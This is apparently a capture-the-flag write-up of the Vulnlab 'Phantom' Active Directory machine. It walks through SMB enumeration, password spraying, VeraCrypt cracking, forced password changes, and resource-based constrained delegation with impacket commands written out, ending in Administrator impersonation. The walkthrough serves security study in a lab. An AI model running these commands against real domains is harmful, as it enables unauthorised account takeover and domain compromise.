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# Vulnlab - Phantom
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```bash
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PORT STATE SERVICE VERSION
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53/tcp open domain Simple DNS Plus
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88/tcp open kerberos-sec Microsoft Windows Kerberos
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135/tcp open msrpc Microsoft Windows RPC
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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389/tcp open ldap Microsoft Windows Active Directory LDAP
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445/tcp open microsoft-ds?
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464/tcp open kpasswd5?
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593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
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636/tcp open tcpwrapped
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3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name)
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3269/tcp open tcpwrapped
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3389/tcp open ms-wbt-server Microsoft Terminal Services
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```
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Enumerating smb shares with anonymous login
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<img src="https://i.imgur.com/Evv31jT.png"/>
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From the `public` share, we have tech support mail file
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<img src="https://i.imgur.com/vt9SE33.png"/>
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Which has a base64 encoded pdf file
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<img src="https://i.imgur.com/qJdqgpB.png"/>
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After decoding it from base64, we'll get a password from this file
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<img src="https://i.imgur.com/QlxbcQv.png"/>
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We don't have a username yet, so bruteforcing SIDs for the username using `lookupsid` from impacket
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<img src="https://i.imgur.com/RsS8vjk.png"/>
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Spraying the password on all these users, only `ibryant` will be the account that has this password set
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<img src="https://i.imgur.com/msLQ7Z0.png"/>
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After logging onto `Departments Share` , there's a backup file in the IT folder
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<img src="https://i.imgur.com/VVbWom5.png"/>
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The `.hc` extension tells that it's file from veracrypt software, as the name tells it encrypts data, this password can be cracked with hashcat but it wasn't present in rockyou.txt, so generating a custom wordlist, with company name, year and a special character as mention in the hint from vulnlab wiki
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<img src="https://i.imgur.com/2xtdq6b.png"/>
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<img src="https://i.imgur.com/LqjRpAa.png"/>
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Mounting the image with veracrypt
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<img src="https://i.imgur.com/VzzOUF4.png"/>
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<img src="https://i.imgur.com/nbNBV8Z.png"/>
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There's a vyos backup file, which is an open source OS for router and firewall, from the config file, we can retreive the password for lstanely
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<img src="https://i.imgur.com/ZZSNLJi.png"/>
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<img src="https://i.imgur.com/TekNLZu.png"/>
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<img src="https://i.imgur.com/iYogdOt.png"/>
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Which didn't worked but we can spary this password against the list of domain users that we have
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<img src="https://i.imgur.com/M76PK2L.png"/>
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This user can login through winrm
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<img src="https://i.imgur.com/xY1hPgN.png"/>
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Enumerating the domain with bloodhound, we can change password for domain users with `ForceChangePassword`
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<img src="https://i.imgur.com/xIXL5Rf.png"/>
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<img src="https://i.imgur.com/LQjoEGt.png"/>
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<img src="https://i.imgur.com/KHtCGSE.png">
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These users belong to `ICT Security` group which have `AddAllowedToAct` on domain controller, through this we can edit `msDS-AllowedToActOnBehalfOfOtherIdentity` to add a machine account in this property to perform Resource Based Constrained Delegation (RBCD), with `net rpc` password can be changed
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```bash
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net rpc password WSILVA -U phantom.vl/svc_sspr -S dc.phantom.vl
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```
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<img src="https://i.imgur.com/cAIrUOs.png"/>
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<img src="https://i.imgur.com/trNLszz.png"/>
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Editing the msDS-AllowedToActOnBehalfOfOtherIdentity property
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```bash
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rbcd.py -delegate-to 'DC$' -delegate-from 'WSILVA' -dc-ip 10.10.118.204 -action 'write' 'phantom.vl'/'WSILVA':'Phantom2023!'
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```
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<img src="https://i.imgur.com/vIveqgn.png"/>
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To abuse RBCD, we need to first know the status of machine qouta in order to create a machine account and then add to DC's property but qouta is set to 0
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<img src="https://i.imgur.com/tGchn75.png"/>
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However we can still perform RBCD through a normal domain user, for this we need a modified branch of getST with U2U kerberos extension https://github.com/ShutdownRepo/impacket/tree/getST
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<img src="https://i.imgur.com/AAlzZTr.png"/>
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Frist retrieving TGT with overpass-the-hash, extracting the TGT session key and replacing it with the domain user's NTHash
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<img src="https://i.imgur.com/tlhwWCI.png"/>
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With S4U2Self and U2U, with WSILVA we can obtain a service ticket to itself on behalf of administrator and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to.
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```bash
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KRB5CCNAME=./WSILVA.ccache getST.py -u2u -impersonate "Administrator" -spn "host/dc.phantom.vl" -k -no-pass phantom.vl/WSILVA
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```
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<img src="https://i.imgur.com/h46FYKB.png"/>
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# References
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- https://github.com/lvaccaro/truecrack
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- https://codeonby.com/2022/01/19/brute-force-veracrypt-encryption/
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- https://www.thehacker.recipes/a-d/movement/kerberos/delegations/rbcd
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- https://github.com/ShutdownRepo/impacket/tree/getST
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- https://github.com/GhostPack/Rubeus/pull/137
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